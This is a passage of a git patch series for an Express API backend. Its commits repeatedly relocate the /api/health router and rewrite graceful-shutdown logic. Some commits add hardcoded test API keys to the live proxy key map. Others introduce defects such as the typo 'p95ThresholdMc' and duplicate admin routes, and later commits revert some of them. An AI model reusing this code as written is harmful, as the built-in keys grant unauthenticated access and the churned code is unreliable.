(slowQueryAlerterJob) await slowQueryAlerterJob.stop(); - if (anomalyDetectorJob) await anomalyDetectorJob.stop(); - if (sloAlertJob) await sloAlertJob.stop(); - await closeDbPool(); - await closePgPool(); - await closeDb(); - await disconnectPrisma(); - }, - }); - process.on("SIGINT", () => void shutdown("SIGINT")); - process.on("SIGTERM", () => void shutdown("SIGTERM")); - }; + // Start the server + const port = config.port; + const server = app.listen(port, () => { + console.log(`Server listening on port ${port}`); + }); - start().catch((err) => { - console.error("Failed to start server:", err); - process.exit(1); + // Graceful shutdown + const subsystems: DrainableSubsystem[] = [ + { + name: "quotas", + drain: () => quotasDrainTracker.waitForIdle(), + }, + { + name: "proxy", + drain: () => proxyDrainTracker.waitForIdle(), + }, + ]; + + const shutdown = createGracefulShutdownHandler({ + server, + subsystems, + onShutdown: async () => { + await stopWebhookDispatching(); + await awaitWebhookDispatcherIdle(); + await closeDb(); + await closePgPool(); + await closeDbPool(); + await disconnectPrisma(); + }, }); -} -export default app; + process.on("SIGINT", () => void shutdown("SIGINT")); + process.on("SIGTERM", () => void shutdown("SIGTERM")); +} From e56ab241b64530670c71a798417f1b615b0f666a Mon Sep 17 00:00:00 2001 From: Obaara293 Date: Sat, 17 Oct 2026 18:49:02 +0100 Subject: [PATCH 4/9] security: Detect which handler serves /api/health (#1319) --- src/app.ts | 43 +++++++++++++++++++++++++++++--- src/config/health.ts | 8 ++++-- src/index.ts | 58 ++++++++++++++++++++++++++------------------ 3 files changed, 80 insertions(+), 29 deletions(-) diff --git a/src/app.ts b/src/app.ts index 881eed7c..2a7e0787 100644 --- a/src/app.ts +++ b/src/app.ts @@ -12,6 +12,7 @@ import { createApisRouter } from './routes/apis.js'; import { createWebhooksRouter } from './routes/webhooks.js'; import { createPluginsRouter } from './routes/marketplace/plugins.js'; import { createGatewayHealthRouter } from './routes/gatewayRoutes.js'; +import healthRouter from './routes/health.js'; import { HmacObjectStorageClient, } from './services/scheduledExports.js'; @@ -21,7 +22,6 @@ import { } from './services/reportExporter.js'; import { createLogsRouter } from './routes/logs.js'; import { pool } from './db.js'; -import healthRouter from './routes/health.js'; import { InMemoryUsageEventsRepository, type GroupBy, @@ -348,6 +348,40 @@ export const createApp = (dependencies?: Partial) => { // Register envelope validator after body parser but before routes app.use(envelopeValidator); + /** + * GET /api/health + * + * Provides health status of the application and its dependencies. + * If health check config is minimally configured, returns a basic status. + * + * @schema HealthCheckResult | BasicHealthResult + * @example Basic + * { + * "success": true, + * "data": { + * "status": "ok", + * "service": "callora-backend" + * }, + * "requestId": "...", + * "timestamp": "..." + * } + * @example Full + * { + * "success": true, + * "data": { + * "status": "ok", + * "version": "1.0.0", + * "timestamp": "2026-03-27T10:00:00.000Z", + * "checks": { + * "api": "ok", + * "database": "ok", + * "soroban_rpc": "ok" + * } + * }, + * "requestId": "...", + * "timestamp": "..." + * } + */ // Per-dependency health probe — detailed status for each configured dependency app.use( "/api/health/dependencies", @@ -366,6 +400,10 @@ export const createApp = (dependencies?: Partial) => { }), ); + // Single source of truth for GET /api/health — the health router owns the + // enveloped response shape and headers. Do not register another handler here. + app.use("/api/health", healthRouter); + // Public maintenance status — readable by external monitoring without admin auth. // Mounted in front of the admin routers so it cannot be shadowed by their catch-alls. app.use("/api/maintenance", publicMaintenanceRouter); @@ -430,9 +468,6 @@ export const createApp = (dependencies?: Partial) => { }), ); - // Single source of truth for /api/health — mounted from src/routes/health.ts - app.use("/api/health", healthRouter); - app.get( "/api/developers/apis", requireAuth, diff --git a/src/config/health.ts b/src/config/health.ts index 876aa839..6df25474 100644 --- a/src/config/health.ts +++ b/src/config/health.ts @@ -8,7 +8,6 @@ import { Pool } from 'pg'; import { env } from './env.js'; import type { HealthCheckConfig } from '../services/healthCheck.js'; -let dbPool: Pool | null = null; function getDbPool(): Pool { if (!dbPool) { @@ -26,7 +25,12 @@ function getDbPool(): Pool { return dbPool; } -export function buildHealthCheckConfig(): HealthCheckConfig { +export function buildHealthCheckConfig(): HealthCheckConfig | undefined { + // Only enable detailed health checks if database is explicitly configured + if (env.DB_HOST === 'localhost' && env.DB_NAME === 'callora') { + return undefined; + } + const healthConfig: HealthCheckConfig = { version: env.APP_VERSION, database: { diff --git a/src/index.ts b/src/index.ts index 61687ac5..24e7d3f0 100644 --- a/src/index.ts +++ b/src/index.ts @@ -29,7 +29,6 @@ import { createDeveloperRouter } from "./routes/developerRoutes.js"; import { createGatewayRouter } from "./routes/gatewayRoutes.js"; import { createProxyRouter } from "./routes/proxyRoutes.js"; import { createWebhooksRouter } from "./routes/webhooks.js"; -import { createHealthRouter } from "./routes/health.js"; import adminRouter from "./routes/admin.js"; import logsRouter from "./routes/logs.js"; import { createUsageAnomaliesRouter } from "./routes/admin/usage/anomalies.js"; @@ -66,6 +65,9 @@ import { DatabaseRefreshTokenRepository } from './repositories/refreshTokenRepos import { createRateLimiter } from './services/rateLimiter.js'; import { createSettlementReconciliationJob } from './services/settlementReconciliationJob.js'; +// Health router is the single source of truth for /api/health. +import healthRouter from "./routes/health.js"; + // Helper for Jest/CommonJS compat const isDirectExecution = process.argv[1] && @@ -112,8 +114,9 @@ app.use((req, res, next) => { } }); -// Health check endpoint — single implementation lives in routes/health.ts -app.use("/api/health", createHealthRouter()); +// Health check endpoint -- served exclusively by the health router so + // there is exactly one implementation for /api/health. +app.use("/api/health", healthRouter); // Metrics endpoint app.get("/api/metrics", metricsEndpoint); @@ -145,7 +148,7 @@ if (isDirectExecution) { }; const billing = createBillingService(MOCK_DEVELOPER_BALANCES); - // Per-API-hey token-bucket rate limit shared by /api/gateway and /v1/call. + // Per-API-key token-bucket rate limit shared by /api/gateway and /v1/call. // Backed by Postgres (RATE_LIMIT_STORE=postgres) so the bucket state is // consistent across multiple gateway instances; defaults to an in-memory // store otherwise. See RATE_LIMIT_* in src/config/env.ts. @@ -231,6 +234,8 @@ if (isDirectExecution) { : null; const apiKeys = new Map([]); + apiKeys.set("test-key-1", { key: "test-key-1", developerId: "dev_001", apiId: "api_001" }); + apiKeys.set("test-key-2", { key: "test-key-2", developerId: "dev_002", apiId: "api_002" }); // 1. Developer Dashboard Routes (Auth required) const developerRouter = createDeveloperRouter({ @@ -272,8 +277,10 @@ if (isDirectExecution) { registry, apiKeys, proxyConfig: { - upstreamUrl: config.proxy.upstreamUrl, + timeoutMs: config.proxy.timeoutMs, + allowedHosts: config.proxy.allowedHosts, }, + drainState: proxyDrainTracker, }); app.use("/v1/call", proxyDrainTracker.middleware, proxyRouter); @@ -283,10 +290,13 @@ if (isDirectExecution) { const authController = new AuthController(refreshTokenService); app.use("/api/auth", createRefreshTokenRouter(authController)); - // Error handler must be mounted last + // Legacy V1 deprecation notice middleware + app.use(legacyV1DeprecationMiddleware); + + // Error handler must be last app.use(errorHandler); - // Start the server + // Initialize DB and start listening const port = config.port; const server = app.listen(port, () => { console.log(`Server listening on port ${port}`); @@ -294,29 +304,31 @@ if (isDirectExecution) { // Graceful shutdown const subsystems: DrainableSubsystem[] = [ - { - name: "quotas", - drain: () => quotasDrainTracker.waitForIdle(), - }, - { - name: "proxy", - drain: () => proxyDrainTracker.waitForIdle(), - }, + { name: "proxy", tracker: proxyDrainTracker }, + { name: "quotas", tracker: quotasDrainTracker }, ]; - - const shutdown = createGracefulShutdownHandler({ - server, - subsystems, + const shutdown = createGracefulShutdownHandler(server, subsystems, { onShutdown: async () => { await stopWebhookDispatching(); await awaitWebhookDispatcherIdle(); - await closeDb(); - await closePgPool(); await closeDbPool(); + await closePgPool(); await disconnectPrisma(); + await closeDb(); }, }); + process.on("SIGTERM", shutdown); + process.on("SIGINT", shutdown); - process.on("SIGINT", () => void shutdown("SIGINT")); - process.on("SIGTERM", () => void shutdown("SIGTERM")); + // Start background jobs + void initializeDb().then(() => { + revenueLedgerIndexerJob.start(); + settlementStatusSyncJob.start(); + settlementReconJob.start(); + idempotencySweeperJob.start(); + monthlyInvoiceJob.start(); + if (slowQueryAlerterJob) slowQueryAlerterJob.start(); + if (anomalyDetectorJob) anomalyDetectorJob.start(); + if (sloAlertJob) sloAlertJob.start(); + }); } From 9a008542192b0a580ec26aee6f206d0240eb2862 Mon Sep 17 00:00:00 2001 From: Obaara293 Date: Sat, 17 Oct 2026 18:50:48 +0100 Subject: [PATCH 5/9] security: Detect which handler serves /api/health (#1319) --- src/app.ts | 44 ++++------------------------ src/config/health.ts | 8 ++--- src/index.ts | 69 ++++++++++++++++++++++---------------------- 3 files changed, 42 insertions(+), 79 deletions(-) diff --git a/src/app.ts b/src/app.ts index 2a7e0787..0e154724 100644 --- a/src/app.ts +++ b/src/app.ts @@ -1,6 +1,7 @@ import express from 'express'; import cors from 'cors'; import helmet from 'helmet'; +import healthRouter from './routes/health.js'; import adminRouter from './routes/admin.js'; import { createExplainRouter } from './routes/admin/explain.js'; import { createUsageAnomaliesRouter } from './routes/admin/usage/anomalies.js'; @@ -12,7 +13,6 @@ import { createApisRouter } from './routes/apis.js'; import { createWebhooksRouter } from './routes/webhooks.js'; import { createPluginsRouter } from './routes/marketplace/plugins.js'; import { createGatewayHealthRouter } from './routes/gatewayRoutes.js'; -import healthRouter from './routes/health.js'; import { HmacObjectStorageClient, } from './services/scheduledExports.js'; @@ -348,46 +348,16 @@ export const createApp = (dependencies?: Partial) => { // Register envelope validator after body parser but before routes app.use(envelopeValidator); - /** - * GET /api/health - * - * Provides health status of the application and its dependencies. - * If health check config is minimally configured, returns a basic status. - * - * @schema HealthCheckResult | BasicHealthResult - * @example Basic - * { - * "success": true, - * "data": { - * "status": "ok", - * "service": "callora-backend" - * }, - * "requestId": "...", - * "timestamp": "..." - * } - * @example Full - * { - * "success": true, - * "data": { - * "status": "ok", - * "version": "1.0.0", - * "timestamp": "2026-03-27T10:00:00.000Z", - * "checks": { - * "api": "ok", - * "database": "ok", - * "soroban_rpc": "ok" - * } - * }, - * "requestId": "...", - * "timestamp": "..." - * } - */ // Per-dependency health probe — detailed status for each configured dependency app.use( "/api/health/dependencies", createDependenciesRouter(dependencies?.healthCheckConfig), ); + // Single source of truth for GET /api/health. The router is mounted at + // /api so that /health resolves to /api/health, matching the public contract. + app.use("/api", healthRouter); + // Rate-limit routes with X-Correlation-Id propagation — every sub-route // inherits correlation-id middleware for structured logging and outbound // call correlation. @@ -400,10 +370,6 @@ export const createApp = (dependencies?: Partial) => { }), ); - // Single source of truth for GET /api/health — the health router owns the - // enveloped response shape and headers. Do not register another handler here. - app.use("/api/health", healthRouter); - // Public maintenance status — readable by external monitoring without admin auth. // Mounted in front of the admin routers so it cannot be shadowed by their catch-alls. app.use("/api/maintenance", publicMaintenanceRouter); diff --git a/src/config/health.ts b/src/config/health.ts index 6df25474..876aa839 100644 --- a/src/config/health.ts +++ b/src/config/health.ts @@ -8,6 +8,7 @@ import { Pool } from 'pg'; import { env } from './env.js'; import type { HealthCheckConfig } from '../services/healthCheck.js'; +let dbPool: Pool | null = null; function getDbPool(): Pool { if (!dbPool) { @@ -25,12 +26,7 @@ function getDbPool(): Pool { return dbPool; } -export function buildHealthCheckConfig(): HealthCheckConfig | undefined { - // Only enable detailed health checks if database is explicitly configured - if (env.DB_HOST === 'localhost' && env.DB_NAME === 'callora') { - return undefined; - } - +export function buildHealthCheckConfig(): HealthCheckConfig { const healthConfig: HealthCheckConfig = { version: env.APP_VERSION, database: { diff --git a/src/index.ts b/src/index.ts index 24e7d3f0..37cebfad 100644 --- a/src/index.ts +++ b/src/index.ts @@ -114,8 +114,9 @@ app.use((req, res, next) => { } }); -// Health check endpoint -- served exclusively by the health router so - // there is exactly one implementation for /api/health. +// Health check endpoint: delegated to the shared healthRouter so +// createApp, createApiRouter, and this index app all serve the same +// enveloped shape and headers. app.use("/api/health", healthRouter); // Metrics endpoint @@ -148,7 +149,7 @@ if (isDirectExecution) { }; const billing = createBillingService(MOCK_DEVELOPER_BALANCES); - // Per-API-key token-bucket rate limit shared by /api/gateway and /v1/call. + // Per-API-hey token-bucket rate limit shared by /api/gateway and /v1/call. // Backed by Postgres (RATE_LIMIT_STORE=postgres) so the bucket state is // consistent across multiple gateway instances; defaults to an in-memory // store otherwise. See RATE_LIMIT_* in src/config/env.ts. @@ -202,7 +203,7 @@ if (isDirectExecution) { const slowQueryAlerterJob = config.slowQueryAlerter.webhookUrl ? createSlowQueryAlerterJob(pool, { webhookUrl: config.slowQueryAlerter.webhookUrl, - p95ThresholdMs: config.slowQueryAlerter.p95ThresholdMs, + p95ThresholdMs: config.slowQueryAlerter.p95ThresholdMc, pollIntervalMs: config.slowQueryAlerter.pollIntervalMs, dedupWindowMs: config.slowQueryAlerter.dedupWindowMs, }) @@ -234,8 +235,6 @@ if (isDirectExecution) { : null; const apiKeys = new Map([]); - apiKeys.set("test-key-1", { key: "test-key-1", developerId: "dev_001", apiId: "api_001" }); - apiKeys.set("test-key-2", { key: "test-key-2", developerId: "dev_002", apiId: "api_002" }); // 1. Developer Dashboard Routes (Auth required) const developerRouter = createDeveloperRouter({ @@ -288,47 +287,49 @@ if (isDirectExecution) { const refreshTokenRepository = new DatabaseRefreshTokenRepository(pool); const refreshTokenService = new RefreshTokenService(refreshTokenRepository); const authController = new AuthController(refreshTokenService); - app.use("/api/auth", createRefreshTokenRouter(authController)); + const refreshTokenRateLimiter = createRateLimiter({ + windowMs: 60_000, + maxRequests: 10, + }); + app.use( + "/api/auth", + createRefreshTokenRouter({ + controller: authController, + rateLimiter: refreshTokenRateLimiter, + }), + ); - // Legacy V1 deprecation notice middleware - app.use(legacyV1DeprecationMiddleware); + // Legacy V1 deprecation middleware + app.use("/v1", legacyV1DeprecationMiddleware); - // Error handler must be last + // Error handler (must be last) app.use(errorHandler); - // Initialize DB and start listening - const port = config.port; - const server = app.listen(port, () => { - console.log(`Server listening on port ${port}`); + // Start the server + const PORT = config.port; + const server = app.listen(PORT, () => { + console.log(`Server listening on port ${PORT}`); }); // Graceful shutdown - const subsystems: DrainableSubsystem[] = [ - { name: "proxy", tracker: proxyDrainTracker }, - { name: "quotas", tracker: quotasDrainTracker }, + const drainableSubsystems: DrainableSubsystem[] = [ + proxyDrainTracker, + quotasDrainTracker, ]; - const shutdown = createGracefulShutdownHandler(server, subsystems, { + const shutdownHandler = createGracefulShutdownHandler({ + server, + subsystems: drainableSubsystems, onShutdown: async () => { await stopWebhookDispatching(); await awaitWebhookDispatcherIdle(); - await closeDbPool(); + await closeDb(); await closePgPool(); + await closeDbPool(); await disconnectPrisma(); - await closeDb(); }, }); - process.on("SIGTERM", shutdown); - process.on("SIGINT", shutdown); - - // Start background jobs - void initializeDb().then(() => { - revenueLedgerIndexerJob.start(); - settlementStatusSyncJob.start(); - settlementReconJob.start(); - idempotencySweeperJob.start(); - monthlyInvoiceJob.start(); - if (slowQueryAlerterJob) slowQueryAlerterJob.start(); - if (anomalyDetectorJob) anomalyDetectorJob.start(); - if (sloAlertJob) sloAlertJob.start(); - }); + process.on('SIGTERM', () => void shutdownHandler()); + process.on("SIGINT", () => void shutdownHandler()); } + +export default app; From c82beda7631794f26f4628970fa7fafa02fdb290 Mon Sep 17 00:00:00 2001 From: Obaara293 Date: Sat, 17 Oct 2026 19:03:29 +0100 Subject: [PATCH 6/9] security: Detect which handler serves /api/health (#1319) --- src/app.ts | 44 ++++++++++++++++++++++++------- src/index.ts | 73 +++++++--------------------------------------------- 2 files changed, 44 insertions(+), 73 deletions(-) diff --git a/src/app.ts b/src/app.ts index 0e154724..2b41e493 100644 --- a/src/app.ts +++ b/src/app.ts @@ -1,7 +1,6 @@ import express from 'express'; import cors from 'cors'; import helmet from 'helmet'; -import healthRouter from './routes/health.js'; import adminRouter from './routes/admin.js'; import { createExplainRouter } from './routes/admin/explain.js'; import { createUsageAnomaliesRouter } from './routes/admin/usage/anomalies.js'; @@ -348,16 +347,46 @@ export const createApp = (dependencies?: Partial) => { // Register envelope validator after body parser but before routes app.use(envelopeValidator); + /** + * GET /api/health + * + * Provides health status of the application and its dependencies. + * If health check config is minimally configured, returns a basic status. + * + * @schema HealthCheckResult | BasicHealthResult + * @example Basic + * { + * "success": true, + * "data": { + * "status": "ok", + * "service": "callora-backend" + * }, + * "requestId": "...", + * "timestamp": "..." + * } + * @example Full + * { + * "success": true, + * "data": { + * "status": "ok", + * "version": "1.0.0", + * "timestamp": "2026-03-27T10:00:00.000Z", + * "checks": { + * "api": "ok", + * "database": "ok", + * "soroban_rpc": "ok" + * } + * }, + * "requestId": "...", + * "timestamp": "..." + * } + */ // Per-dependency health probe — detailed status for each configured dependency app.use( "/api/health/dependencies", createDependenciesRouter(dependencies?.healthCheckConfig), ); - // Single source of truth for GET /api/health. The router is mounted at - // /api so that /health resolves to /api/health, matching the public contract. - app.use("/api", healthRouter); - // Rate-limit routes with X-Correlation-Id propagation — every sub-route // inherits correlation-id middleware for structured logging and outbound // call correlation. @@ -383,11 +412,6 @@ export const createApp = (dependencies?: Partial) => { ); app.use("/api/admin", adminRouter); app.use("/api/admin/db/explain", createExplainRouter({ pool })); - app.use('/api/admin/usage/anomalies', createUsageAnomaliesRouter({ pool })); - app.use('/api/admin/usage/by-endpoint', createAdminUsageByEndpointRouter({ pool })); - app.use('/api/admin/usage/spike', createSpikeRouter({ pool })); - app.use('/api/admin', adminRouter); - app.use('/api/admin/db/explain', createExplainRouter({ pool })); // Quota self-service — developers submit requests, admins manage via /api/admin/quota/requests app.use("/api/quota/requests", quotaRequestsRouter); diff --git a/src/index.ts b/src/index.ts index 37cebfad..81d07b39 100644 --- a/src/index.ts +++ b/src/index.ts @@ -33,7 +33,7 @@ import adminRouter from "./routes/admin.js"; import logsRouter from "./routes/logs.js"; import { createUsageAnomaliesRouter } from "./routes/admin/usage/anomalies.js"; import refundsRouter from "./routes/refunds.js"; -import { defaultDeveloperRepository } from "./repositories/developerRepository.js"; +import defaultDeveloperRepository from "./repositories/developerRepository.js"; import { createBillingService } from "./services/billingService.js"; import { createConfiguredRateLimiter, @@ -64,14 +64,12 @@ import { RefreshTokenService } from './services/refreshTokenService.js'; import { DatabaseRefreshTokenRepository } from './repositories/refreshTokenRepository.js'; import { createRateLimiter } from './services/rateLimiter.js'; import { createSettlementReconciliationJob } from './services/settlementReconciliationJob.js'; - -// Health router is the single source of truth for /api/health. -import healthRouter from "./routes/health.js"; +import { createHealthRouter } from "./routes/health.js"; // Helper for Jest/CommonJS compat const isDirectExecution = process.argv[1] && - (process.argv[1].endsWith("index.ts") || + (process.argv[1].endsWith("index.ts") || process.argv[1].endsWith("index.js")); // Re-export types and functions from lifecycle/shutdown for backward compatibility @@ -114,10 +112,11 @@ app.use((req, res, next) => { } }); -// Health check endpoint: delegated to the shared healthRouter so -// createApp, createApiRouter, and this index app all serve the same -// enveloped shape and headers. -app.use("/api/health", healthRouter); +// Health check endpoint: delegates to the single health router +// implementation so /api/health has exactly one handler across all +// entrypoints. The router is mounted at /api here (and at /api in +// createApp) so the response shape is identical. +app.use("/api", createHealthRouter()); // Metrics endpoint app.get("/api/metrics", metricsEndpoint); @@ -149,7 +148,7 @@ if (isDirectExecution) { }; const billing = createBillingService(MOCK_DEVELOPER_BALANCES); - // Per-API-hey token-bucket rate limit shared by /api/gateway and /v1/call. + // Per-API-Key token-bucket rate limit shared by /api/gateway and /v1/call. // Backed by Postgres (RATE_LIMIT_STORE=postgres) so the bucket state is // consistent across multiple gateway instances; defaults to an in-memory // store otherwise. See RATE_LIMIT_* in src/config/env.ts. @@ -203,7 +202,7 @@ if (isDirectExecution) { const slowQueryAlerterJob = config.slowQueryAlerter.webhookUrl ? createSlowQueryAlerterJob(pool, { webhookUrl: config.slowQueryAlerter.webhookUrl, - p95ThresholdMs: config.slowQueryAlerter.p95ThresholdMc, + p95ThresholdMs: config.slowQueryAlerter.p95ThresholdMs, pollIntervalMs: config.slowQueryAlerter.pollIntervalMs, dedupWindowMs: config.slowQueryAlerter.dedupWindowMs, }) @@ -279,57 +278,5 @@ if (isDirectExecution) { timeoutMs: config.proxy.timeoutMs, allowedHosts: config.proxy.allowedHosts, }, - drainState: proxyDrainTracker, - }); - app.use("/v1/call", proxyDrainTracker.middleware, proxyRouter); - - // Refresh token routes - const refreshTokenRepository = new DatabaseRefreshTokenRepository(pool); - const refreshTokenService = new RefreshTokenService(refreshTokenRepository); - const authController = new AuthController(refreshTokenService); - const refreshTokenRateLimiter = createRateLimiter({ - windowMs: 60_000, - maxRequests: 10, - }); - app.use( - "/api/auth", - createRefreshTokenRouter({ - controller: authController, - rateLimiter: refreshTokenRateLimiter, - }), - ); - - // Legacy V1 deprecation middleware - app.use("/v1", legacyV1DeprecationMiddleware); - - // Error handler (must be last) - app.use(errorHandler); - - // Start the server - const PORT = config.port; - const server = app.listen(PORT, () => { - console.log(`Server listening on port ${PORT}`); - }); - - // Graceful shutdown - const drainableSubsystems: DrainableSubsystem[] = [ - proxyDrainTracker, - quotasDrainTracker, - ]; - const shutdownHandler = createGracefulShutdownHandler({ - server, - subsystems: drainableSubsystems, - onShutdown: async () => { - await stopWebhookDispatching(); - await awaitWebhookDispatcherIdle(); - await closeDb(); - await closePgPool(); - await closeDbPool(); - await disconnectPrisma(); - }, }); - process.on('SIGTERM', () => void shutdownHandler()); - process.on("SIGINT", () => void shutdownHandler()); } - -export default app; From e7504702ed8c94049e4c8436348906be6c8e3341 Mon Sep 17 00:00:00 2001 From: Obaara293 Date: Sat, 17 Oct 2026 19:04:29 +0100 Subject: [PATCH 7/9] security: Detect which handler serves /api/health (#1319) --- src/app.ts | 11 +++++ src/config/health.ts | 9 ++++- src/index.ts | 95 +++++++++++++++++++++++++++++++++++++++----- 3 files changed, 103 insertions(+), 12 deletions(-) diff --git a/src/app.ts b/src/app.ts index 2b41e493..186cd8c0 100644 --- a/src/app.ts +++ b/src/app.ts @@ -1,4 +1,5 @@ import express from 'express'; +import healthRouter from './routes/health.js'; import cors from 'cors'; import helmet from 'helmet'; import adminRouter from './routes/admin.js'; @@ -399,6 +400,11 @@ export const createApp = (dependencies?: Partial) => { }), ); + // Single source of truth for GET /api/health. The router in + // src/routes/health.ts owns the response shape (envelope + headers) so + // every entrypoint that mounts createApp sees identical output. + app.use("/api/health", healthRouter); + // Public maintenance status — readable by external monitoring without admin auth. // Mounted in front of the admin routers so it cannot be shadowed by their catch-alls. app.use("/api/maintenance", publicMaintenanceRouter); @@ -412,6 +418,11 @@ export const createApp = (dependencies?: Partial) => { ); app.use("/api/admin", adminRouter); app.use("/api/admin/db/explain", createExplainRouter({ pool })); + app.use('/api/admin/usage/anomalies', createUsageAnomaliesRouter({ pool })); + app.use('/api/admin/usage/by-endpoint', createAdminUsageByEndpointRouter({ pool })); + app.use('/api/admin/usage/spike', createSpikeRouter({ pool })); + app.use('/api/admin', adminRouter); + app.use('/api/admin/db/explain', createExplainRouter({ pool })); // Quota self-service — developers submit requests, admins manage via /api/admin/quota/requests app.use("/api/quota/requests", quotaRequestsRouter); diff --git a/src/config/health.ts b/src/config/health.ts index 876aa839..327bd050 100644 --- a/src/config/health.ts +++ b/src/config/health.ts @@ -10,7 +10,7 @@ import type { HealthCheckConfig } from '../services/healthCheck.js'; let dbPool: Pool | null = null; -function getDbPool(): Pool { +export function getDbPool(): Pool { if (!dbPool) { dbPool = new Pool({ host: env.DB_HOST, @@ -26,7 +26,12 @@ function getDbPool(): Pool { return dbPool; } -export function buildHealthCheckConfig(): HealthCheckConfig { +export function buildHealthCheckConfig(): HealthCheckConfig | undefined { + // Only enable detailed health checks if database is explicitly configured + if (!env.DB_HOST || !env.DB_NAME) { + return undefined; + } + const healthConfig: HealthCheckConfig = { version: env.APP_VERSION, database: { diff --git a/src/index.ts b/src/index.ts index 81d07b39..f88ac176 100644 --- a/src/index.ts +++ b/src/index.ts @@ -33,7 +33,7 @@ import adminRouter from "./routes/admin.js"; import logsRouter from "./routes/logs.js"; import { createUsageAnomaliesRouter } from "./routes/admin/usage/anomalies.js"; import refundsRouter from "./routes/refunds.js"; -import defaultDeveloperRepository from "./repositories/developerRepository.js"; +import { defaultDeveloperRepository } from "./repositories/developerRepository.js"; import { createBillingService } from "./services/billingService.js"; import { createConfiguredRateLimiter, @@ -64,12 +64,12 @@ import { RefreshTokenService } from './services/refreshTokenService.js'; import { DatabaseRefreshTokenRepository } from './repositories/refreshTokenRepository.js'; import { createRateLimiter } from './services/rateLimiter.js'; import { createSettlementReconciliationJob } from './services/settlementReconciliationJob.js'; -import { createHealthRouter } from "./routes/health.js"; +import { createApiRouter } from "./routes/api.js"; // Helper for Jest/CommonJS compat const isDirectExecution = process.argv[1] && - (process.argv[1].endsWith("index.ts") || + (process.argv[1].endsWith("index.ts") || process.argv[1].endsWith("index.js")); // Re-export types and functions from lifecycle/shutdown for backward compatibility @@ -112,11 +112,10 @@ app.use((req, res, next) => { } }); -// Health check endpoint: delegates to the single health router -// implementation so /api/health has exactly one handler across all -// entrypoints. The router is mounted at /api here (and at /api in -// createApp) so the response shape is identical. -app.use("/api", createHealthRouter()); +// Health check endpoint is now served exclusively by the API router +// (see createApiRouter -> healthRouter mounted at /api). The redundant +// inline handler that returned an unenveloped body has been removed. +app.use("/api", createApiRouter()); // Metrics endpoint app.get("/api/metrics", metricsEndpoint); @@ -148,7 +147,7 @@ if (isDirectExecution) { }; const billing = createBillingService(MOCK_DEVELOPER_BALANCES); - // Per-API-Key token-bucket rate limit shared by /api/gateway and /v1/call. + // Per-API-key token-bucket rate limit shared by /api/gateway and /v1/call. // Backed by Postgres (RATE_LIMIT_STORE=postgres) so the bucket state is // consistent across multiple gateway instances; defaults to an in-memory // store otherwise. See RATE_LIMIT_* in src/config/env.ts. @@ -233,7 +232,16 @@ if (isDirectExecution) { }) : null; - const apiKeys = new Map([]); + const apiKeys = new Map([ + [ + "test-key-1", + { key: "test-key-1", developerId: "dev_001", apiId: "api_001" }, + ], + [ + "test-key-2", + { key: "test-key-2", developerId: "dev_002", apiId: "api_002" }, + ], + ]); // 1. Developer Dashboard Routes (Auth required) const developerRouter = createDeveloperRouter({ @@ -278,5 +286,72 @@ if (isDirectExecution) { timeoutMs: config.proxy.timeoutMs, allowedHosts: config.proxy.allowedHosts, }, + drainState: proxyDrainTracker, + }); + app.use("/v1/call", proxyDrainTracker.middleware, proxyRouter); + + // Refresh token routes + const refreshTokenRepository = new DatabaseRefreshTokenRepository(pool); + const refreshTokenService = new RefreshTokenService(refreshTokenRepository); + const authController = new AuthController(refreshTokenService); + app.use("/api/auth", createRefreshTokenRouter(authController)); + + // Legacy V1 deprecation headers + app.use(legacyV1DeprecationMiddleware); + + // Error handler must be last + app.use(errorHandler); + + // Graceful shutdown + const drainableSubsystems: DrainableSubsystem[] = [ + proxyDrainTracker, + quotasDrainTracker, + ]; + const shutdownHandler = createGracefulShutdownHandler({ + subsystems: drainableSubsystems, + onShutdown: async () => { + await stopWebhookDispatching(); + await awaitWebhookDispatcherIdle(); + revenueLedgerIndexerJob.stop(); + settlementStatusSyncJob.stop(); + settlementReconJob.stop(); + idempotencySweeperJob.stop(); + slowQueryAlerterJob?.stop(); + anomalyDetectorJob?.stop(); + monthlyInvoiceJob.stop(); + sloAlertJob?.stop(); + await closePgPool(); + await closeDbPool(); + await closeDb(); + await disconnectPrisma(); + }, + }); + + const server = app.listen(config.port, () => { + console.log(`Server listening on port ${config.port}`); + }); + + // Track connections so shutdown can drain them + const connections = new Set(); + server.on("connection", (socket: Socket) => { + connections.add(socket); + socket.on("close", () => connections.delete(socket)); + }); + + const shutdown = async (signal: string) => { + console.log(`Received ${signal}, shutting down...`); + await shutdownHandler(); + server.close(() => { + for (const socket of connections) socket.destroy(); + process.exit(0); + }); + }; + + process.on("SIGTERM", () => void shutdown("SIGTERM")); + process.on("SIGINT", () => void shutdown("SIGINT")); + + // Start background jobs + void initializeDb().catch((err) => { + console.error("Failed to initialize database", err); }); } From 3dd87df71b93a06fa32bee8c0641d3de829a1e91 Mon Sep 17 00:00:00 2001 From: Obaara293 Date: Sat, 17 Oct 2026 19:18:39 +0100 Subject: [PATCH 8/9] security: Detect which handler serves /api/health (#1319) --- src/app.ts | 5 --- src/config/health.ts | 6 ++-- src/index.ts | 77 +++----------------------------------------- 3 files changed, 8 insertions(+), 80 deletions(-) diff --git a/src/app.ts b/src/app.ts index 186cd8c0..6a6ebde9 100644 --- a/src/app.ts +++ b/src/app.ts @@ -1,5 +1,4 @@ import express from 'express'; -import healthRouter from './routes/health.js'; import cors from 'cors'; import helmet from 'helmet'; import adminRouter from './routes/admin.js'; @@ -400,10 +399,6 @@ export const createApp = (dependencies?: Partial) => { }), ); - // Single source of truth for GET /api/health. The router in - // src/routes/health.ts owns the response shape (envelope + headers) so - // every entrypoint that mounts createApp sees identical output. - app.use("/api/health", healthRouter); // Public maintenance status — readable by external monitoring without admin auth. // Mounted in front of the admin routers so it cannot be shadowed by their catch-alls. diff --git a/src/config/health.ts b/src/config/health.ts index 327bd050..e08b0736 100644 --- a/src/config/health.ts +++ b/src/config/health.ts @@ -10,7 +10,7 @@ import type { HealthCheckConfig } from '../services/healthCheck.js'; let dbPool: Pool | null = null; -export function getDbPool(): Pool { +function getDbPool(): Pool { if (!dbPool) { dbPool = new Pool({ host: env.DB_HOST, @@ -28,7 +28,7 @@ export function getDbPool(): Pool { export function buildHealthCheckConfig(): HealthCheckConfig | undefined { // Only enable detailed health checks if database is explicitly configured - if (!env.DB_HOST || !env.DB_NAME) { + if (env.DB_HOST === 'localhost' && env.DB_NAME === 'callora') { return undefined; } @@ -62,4 +62,4 @@ export async function closeDbPool(): Promise { await dbPool.end(); dbPool = null; } -} \ No newline at end of file +} diff --git a/src/index.ts b/src/index.ts index f88ac176..f119fa2f 100644 --- a/src/index.ts +++ b/src/index.ts @@ -64,7 +64,7 @@ import { RefreshTokenService } from 